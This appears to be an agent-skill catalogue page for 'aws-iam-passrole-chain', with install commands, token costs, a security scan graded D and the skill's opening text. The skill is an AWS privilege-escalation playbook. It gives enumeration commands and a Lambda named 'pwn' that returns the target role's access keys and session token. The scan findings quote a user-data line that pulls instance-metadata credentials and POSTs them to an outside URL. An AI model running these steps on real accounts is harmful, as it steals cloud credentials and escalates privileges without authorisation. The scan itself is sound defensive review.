Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill aws-iam-passrole-chaingit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/aws-iam-passrole-chain)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/aws-iam-passrole-chain"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/aws-iam-passrole-chain/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/aws-iam-passrole-chain"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/aws-iam-passrole-chain.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00063 | $0.01600 |
| Opus 5 | $0.00032 | $0.00800 |
| Sonnet 5 | $0.00013 | $0.00320 |
| Haiku 4.5 | $0.00006 | $0.00160 |
Grade D, and why
aws-iam-passrole-chain scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
--iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://at Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
--iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://at Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
--iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://at This is a copy
100% identical to aws-iam-passrole-chain — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 131 lines — stays where its author put it; the contents beside it link to each section on GitHub.
AWS IAM PassRole Chain
You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.
Enumerate
aws sts get-caller-identity # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary
# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE
Use Pacu — enum_permissions — for the canonical enumeration.
Phase 1: Identify your PassRole targets
# What roles can your principal PassRole?
# Check policy for iam:PassRole — note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
| jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'
# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text
Phase 2: PassRole → execute as higher-priv role
Lambda — most common path
# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
import os
return {
"AKI": os.environ["AWS_ACCESS_KEY_ID"],
"SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
"TOK": os.environ["AWS_SESSION_TOKEN"],
}
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
--role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
--zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 131 lines · 63 tokens per session scan F 97c7d9b5164a
aws-iam-passrole-chain is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 63 tokens to every session and 1,600 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it D with 3 findings (sends data to an external url, cloud metadata endpoint, makes network calls). It is 100% identical to aws-iam-passrole-chain, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.2
Maintain current AWS account contact details.
cis-aws-foundations-2.4
Ensure no 'root' user account access key exists.
cis-aws-foundations-2.5
Ensure MFA is enabled for the 'root' user account.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.